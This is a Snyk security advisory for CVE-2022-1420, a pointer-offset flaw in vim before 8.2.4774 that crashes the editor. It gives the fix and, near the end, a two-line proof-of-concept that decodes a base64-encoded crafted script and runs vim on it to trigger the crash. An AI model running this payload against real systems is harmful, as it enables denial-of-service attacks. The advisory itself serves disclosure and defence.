Use of Out-of-range Pointer Offset Affecting vim/vim package, versions [,8.2.4774)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (38th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-VIMVIM-2803377
  • published26 Apr 2022
  • disclosed21 Apr 2022
  • creditsalmonstriver

Introduced: 21 Apr 2022

CVE-2022-1420  (opens in a new tab)
CWE-823  (opens in a new tab)

How to fix?

Upgrade vim/vim to version 8.2.4774 or higher.

Overview

Affected versions of this package are vulnerable to Use of Out-of-range Pointer Offset via usage of aa number for lambda name, causing a crash.

PoC

$ echo -n AO8A9C4K/QAKaWZ7e3t7e30tPigzKSg/PWEpezAsMSYKaWZ7e2Z7eyAtPig/PVk8ezAsMTB9Yb7dMH1hvt17MRAALS6zNQAAAAr/AF0KgAr1 | base64 -d > POC1
$ vim -u NONE -i NONE -n -X -Z -e -m -s -S POC1 -c :qa!

CVSS Scores

version 3.1